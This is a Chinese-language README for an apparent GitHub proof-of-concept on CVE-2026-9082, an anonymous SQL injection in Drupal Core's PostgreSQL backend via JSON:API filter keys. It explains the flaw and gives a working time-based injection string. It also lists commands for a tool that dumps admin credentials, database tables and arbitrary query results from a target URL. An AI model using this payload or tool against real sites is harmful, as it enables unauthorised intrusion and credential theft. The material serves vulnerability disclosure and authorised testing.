CVE-2026-9082 - Drupal Core PostgreSQL SQL注入概念验证（PoC）

Drupal 标志

概述

本仓库提供了针对 CVE-2026-9082 的道德概念验证（PoC），这是一个 高度严重 的 SQL 注入漏洞，影响所有使用 PostgreSQL 后端的 Drupal Core 站点，版本涵盖 Drupal 8.0 至 11.3.9。

该缺陷存在于 PostgreSQL 实体查询条件处理器中，匿名（未认证）用户 可通过默认启用（自 Drupal 9 起）的 JSON:API 模块进行利用。

官方公告： SA-CORE-2026-004

漏洞摘要

Drupal Core 包含一个数据库抽象 API，旨在清理查询并防止 SQL 注入。PostgreSQL 特有的实体查询条件类（core/modules/pgsql/src/EntityQuery/Condition.php）存在缺陷，允许攻击者通过 JSON:API 筛选参数中 用户控制的数组键 注入任意 SQL。

CVE ID： CVE-2026-9082
公告： SA-CORE-2026-004
受影响软件： Drupal Core
受影响版本： 8.0.0 – 11.3.9（仅 PostgreSQL 后端）
修复版本： 11.3.10、11.2.12、10.6.9、10.5.10
严重程度： 高度严重 — Drupal 风险评分为 20/25
认证要求： 无（匿名）
影响： 数据泄露、权限提升、某些配置下可实现远程代码执行（RCE）
攻击向量： HTTP — JSON:API 筛选条件数组键

漏洞原理

PostgreSQL 条件类中的 translateCondition() 方法遍历 $condition['value']，并使用 数组键 来构造 PDO 占位符名称：
$where_id = $where_prefix . $key;
JSON:API 允许匿名用户通过 URL 参数提供带有 任意数组键 的筛选值：
filter[x][condition][value][恶意键]=val
PDO 命名占位符仅包含 [a-zA-Z0-9_] 字符。当键包含 ) 时，PDO 会停止解析占位符名称——其后的所有内容成为字面量 SQL 注入到查询中。
通过发送类似 1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)-- 的键，攻击者关闭 IN() 子句并附加任意 SQL，同时 :prefix_1 的绑定通过同一请求中合法的键 1 完成。

参考与致谢

公告：SA-CORE-2026-004
补丁提交：ea9524d9
发现者：michaelmaturi（在公告中致谢）

法律声明

本工具仅适用于授权的安全测试、教育目的和道德研究。未经授权访问计算机系统是违法的。

安装

git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich

使用方法（命令行）

# 检查目标是否存在漏洞
python3 CVE-2026-9082.py -u https://target.com --check

# 提取 PostgreSQL 版本
python3 CVE-2026-9082.py -u https://target.com --version

# 提取数据库信息（用户 + 数据库名）
python3 CVE-2026-9082.py -u https://target.com --dbinfo

# 提取 Drupal 管理员凭据（uid=1）
python3 CVE-2026-9082.py -u https://target.com --admin

# 列出数据库表
python3 CVE-2026-9082.py -u https://target.com --tables

# 自定义 SQL 查询提取
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"

# 使用布尔型提取（更快但可靠性较低）
python3 CVE-2026-9082.py -u https://target.com --version -m bool

# 交互模式（不带参数）
python3 CVE-2026-9082.py

作者

PoC 由 7h30th3r0n3 开发
漏洞由 michaelmaturi 发现

CVE-2026-9082-Drupal-PoC

最受欢迎